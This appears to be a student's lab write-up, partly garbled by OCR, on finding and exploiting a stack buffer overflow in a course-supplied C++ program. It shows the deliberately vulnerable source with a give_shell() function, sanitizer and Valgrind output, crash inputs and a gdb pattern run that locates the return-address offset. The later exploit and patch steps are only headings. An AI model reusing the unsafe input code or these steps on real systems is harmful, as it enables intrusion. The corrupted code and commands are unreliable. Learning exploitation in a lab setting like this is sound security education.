Stack Overflow Detection, Exploitation, and Mitigation Bailey Williams

1. Download StackOverflowHW.cpp from D2L.

```
(base) _—(kali⊛x86_64-conda-linux-gnu)-[~/Desktop/SystemSecurity]
s cat StackOverflowHW.cpp
// Stack overflow Assignment
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <iostream>
using namespace std;
#define BUFSIZE 300
using namespace std;
void give_shell()
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  system("/bin/sh");
char *mgets(char *dst)
  char *ptr = dst;
  int ch:
  /* skip leading white spaces */
  while ((ch = getchar()) \delta \theta (ch = ' ' or ch = '\t'))
  if ((ch = '\n') \text{ or } (ch = EOF))
    *ptr = '\0';
    return dst;
  else
    *ptr = ch;
```

```
/* now read the rest until \n or EOF */
 while (true)
   ch = getchar();
   if (ch = '\n' \text{ or } ch = EOF)
     break;
    *(++ptr) = ch;
 *(++ptr) = 0;
 return dst;
void bad()
 char buffer[BUFSIZE];
 printf("buffer is at %p\n", buffer);
 cout << "Give me some text: ";</pre>
 fflush(stdout);
 mgets(buffer); // similar to C's gets();
 //gets(buffer); // depricated
 cout << "Acknowledged: " << buffer << " with length " << strlen(buffer) << endl;</pre>
int main(int argc, char *argv[])
 gid_t gid = getegid();
  setresgid(gid, gid, gid);
 bad();
 cout << "Good bye!\n";
  return 0;
```

- 2. Perform code review and static analysis of the program to find any memory related errors such as stack overflow vulnerability.
- Run the code and experiment with inputs.

- Noticing the buffer size lets see how it acts when we input a length over 300.

Use Address Sanitizer to find out more details.

```
Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable:
 Partially addressable: 01 02 03 04 05 06 07
 Heap left redzone:
 Freed heap region:
 Stack left redzone:
 Stack mid redzone:
 Stack right redzone:
 Stack after return:
 Stack use after scope:
 Global redzone:
 Global init order:
                          f6
 Poisoned by user:
                          f7
 Container overflow:
                          fc
 Array cookie:
 Intra object redzone:
                          bb
 ASan internal:
                          fe
 Left alloca redzone:
 Right alloca redzone:
                          cb
 Shadow gap:
                          CC
=1206835=ABORTING
```

- What if we change the env.

3. Use Valgrind to perform dynamic analysis of the program to find any memory-related errors in the program.

```
-(kali: x86_64-conda-linux-gnu)-|~/Desktop/SystemSecurity|
valgrind --leak-check=full -s ./StackOverflowHW.exe
=730534= Memcheck, a memory error detector
=730534= Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
=730534= Using Valgrind-3.18.1 and LibVEX; rerun with -h for copyright info
=730534= Command: ./StackOverflowHW.exe
=730534=
buffer is at 0×feffaff4
with length 510
=730534= Jump to the invalid address stated on the next line
=730534= at 0×41414141: ???
=730534= Address 0×41414141 is not stack'd, malloc'd or (recently) free'd
=730534=
=730534=
=730534= Process terminating with default action of signal 11 (SIGSEGV)
=730534= Access not within mapped region at address 0×41414141
=730534= at 0×41414141: ???
=730534= If you believe this happened as a result of a stack
=730534= overflow in your program's main thread (unlikely but
=730534= possible), you can try to increase the size of the
=730534= main thread stack using the --main-stacksize= flag.
=730534= The main thread stack size used in this run was 8388608.
=730534=
=730534= HEAP SUMMARY:
          in use at exit: 20,992 bytes in 3 blocks
=730534=
=730534= total heap usage: 3 allocs, 0 frees, 20,992 bytes allocated
=730534=
=730534= LEAK SUMMARY:
=730534= definitely lost: 0 bytes in 0 blocks
=730534=
           indirectly lost: 0 bytes in 0 blocks
           possibly lost: 0 bytes in 0 blocks
=730534=
=730534= still reachable: 20,992 bytes in 3 blocks
=730534=
               suppressed: 0 bytes in 0 blocks
=730534= Reachable blocks (those to which a pointer was found) are not shown.
=730534= To see them, rerun with: --leak-check=full --show-leak-kinds=all
=730534=
=730534= ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
=730534=
=730534= 1 errors in context 1 of 1:
=730534= Jump to the invalid address stated on the next line
=730534=
           at 0×41414141: ???
=730534= Address 0×41414141 is not stack'd, malloc'd or (recently) free'd
```

4. Exploit the program.

- Disable all overflow protection.
- Compile the program using g++ as x86 Linux program.

```
(base) (kali® x86_64-conda-linux-gnu)-[~/Desktop/SystemSecurity] $ echo kali | sudo -S ./compile.sh StackOverflowHW.cpp StackOverflowHW.exe [sudo] password for kali: kali
```

```
(base) — (kali® x86_64-conda-linux-gnu) - [~/Desktop/SystemSecurity] $ g++-std=c++17 -m32 -g -o0 -Wall -Wpedantic -Wextra -Wconversion -fsanitize=address StackOverflowHW.cpp = o StackOverflowHW.epp = o StackOverflowHW.epp
```

```
(base) (kali® x86_64-conda-linux-gnu)-[~/Desktop/SystemSecurity] $ ./StackOverflowHW.exe
buffer is at 0×ffffc040
ΑΑΑΑΑΑ
   ## 0 % 56556446 in mgets(char*) /home/kali/Desktop/SystemSecurity/StackOverflowHW.cpp:45
#1 0 * 565565642 in bad() /home/kali/Desktop/SystemSecurity/StackOverflowHW.cpp:57
#2 0 * 56556781 in main /home/kali/Desktop/SystemSecurity/StackOverflowHW.cpp:66
#3 0 * 674db904 in __libc_start_main ../csu/libc-start.c:332
#4 0 * 565561d0 in _start (/home/kali/Desktop/SystemSecurity/StackOverflowHW.exe+0 * 11d0)
Address 0×ffffc16c is located in stack of thread T0 at offset 348 in frame #0 0×565564a8 in bad() /home/kali/Desktop/SystemSecurity/StackOverflowHW.cpp:52
  This frame has 1 object(s): [48, 348) 'buffer' (line 53) \Leftarrow Memory access at offset 348 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/kali/Desktop/SystemSecurity/StackOverflowHW.cpp:45 in mgets(char*)
00 00 00 00 00 00 00 00 00
```

- Demonstrate the buffer overrun vulnerability by crashing the program.

```
-(kali®x86_64-conda-linux-gnu)-[~/Desktop/HW5]
-$ python -c "print('A' * 300)" | ./StackOverflowHW.exe
buffer is at 0×ffe2b634
Good bye!
(base) -(kali® x86_64-conda-linux-gnu)-[~/Desktop/HW5]
└─$ python -c "print('A' * 301)" | ./StackOverflowHW.exe
buffer is at 0×fff607a4
python -c "print('A' * 301)" |
zsh: segmentation fault ./StackOverflowHW.exe
```

- Force the program to run arbitrary code give_shell function.
 - Use gdb-peda to see and find addresses.

```
gdb -q StackOverflowHW.exe
Reading symbols from StackOverflowHW.exe...
              run < pattern.txt
Starting program: /home/kali/Desktop/SystemSecurity/StackOverflowHW.exe < pattern.txt
buffer is at 0×ffffc024
Give me some text: Acknowledged: AAA%AASAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAACAA2AAHAAdAA3AAI
AARAAOAASAApAATAAqAAUAArAAVAĀtAAWAAUAAXAAVAAYAAWAAZAAxAAyAAzA%XAXsA%BA%$A%na%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%
%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y with length 400
Program received signal SIGSEGV, Segmentation fault.
EAX: 0 \times f7fa4c40 \longrightarrow 0 \times f7fa1970 \longrightarrow 0
                                                                (<_ZNSoD1Ev>: push ebx)
EBX: 0×6825414c ('LA%h')
ECX: 0×6c0
                                     cf40 (<_ZNSoD1Ev>:
                                                                   push ebx)
ESI: 0×41372541 ('A%7A')
                      (<_start>:
EBP: 0×25414d25 ('%MA%')
ESP: 0×ffffc160 ("A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
EIP: 0×38254169 ('ia%8')
EFLAGS: 0×10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
0000| 0×ffffc160 ("A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
00004 | 0×ffffc160 ( "%ja%94%0A%KA%PA%LA%QA%mA%RA%0A%SA%pA%TA%QA%UA%rA%VA%LA%WA%UA%A%A%VA%VA%WA%VA%WA%VA%WA%VA%A%A%A%
0008 | 0×ffffc168 ( "9A%0A%KA%PA%LA%QA%mA%RA%0A%SA%pA%TA%QA%UA%rA%VA%LA%WA%UA%XA%VA%YA%WA%ZA%XA%y")
0012 | 0×ffffc16c ( "A%KA%PA%LA%QA%mA%RA%OA%SA%pA%TA%QA%UA%rA%VA%LA%WA%UA%XA%VA%YA%WA%ZA%XA%y")
0016 | 0×ffffc170 ( "%PA%LA%QA%mA%RA%OA%SA%pA%TA%QA%UA%rA%VA%LA%WA%UA%XA%VA%YA%WA%ZA%XA%y")
0020| 0×ffffc174 ("LA%QA%mA%RA%OA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%VA%YA%wA%ZA%xA%y")
0024| 0×ffffc178 ("A%mA%RA%OA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%VA%YA%wA%ZA%xA%y")
0028| 0×ffffc17c ("%RA%OA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%VA%YA%wA%ZA%xA%y")
                 e, data, rodata, value
Stopped reason:
  <38254169 in ?? ()
```

```
patts
EBX+0 found at offset: 300
EBP+0 found at offset: 308
ESI+0 found at offset: 304
EIP+0 found at offset: 312
Registers point to pattern buffer:
[ESP] → offset 316 - size ~84
0×5655ebbe : offset 0 - size 400 ([heap])
0×5655efc0 : offset
                      0 - size 400 ([heap])
0×f7b900cd : offset 33208 - size
                                   4 (/usr/lib/i386-linux-gnu/libm-2.33.so)
                      0 - size 400 ($sp + -0×13c [-79 dwords])
0×ffffc024 : offset
0×f7d7c584 : 0×5655efc0 (/usr/lib/i386-linux-gnu/libc-2.33.so)
0×f7d7c588 : 0×5655efc0 (/usr/lib/i386-linux-gnu/libc-2.33.so)
0×f7d7c58c : 0×5655efc0 (/usr/lib/i386-linux-gnu/libc-2.33.so)
0×f7d7c590 : 0×5655efc0 (/usr/lib/i386-linux-gnu/libc-2.33.so)
0×f7d7c594 : 0×5655efc0 (/usr/lib/i386-linux-gnu/libc-2.33.so)
0×f7d7c598 : 0×5655efc0 (/usr/lib/i386-linux-gnu/libc-2.33.so)
0×f7d7c59c : 0×5655efc0 (/usr/lib/i386-linux-gnu/libc-2.33.so)
0×ffffbb44 : 0×ffffc024 ($sp + -0×61c [-391 dwords])
         quit
```

- Find the address location of give_shell function.

- Smuggle and execute remote shellcode to exploit the program.

5. Patch the vulnerability in the program.

6. Recompile and do a dynamic analysis as well as try to exploit the program again to ensure all memory related errors such as stack overflow vulnerability is fixed.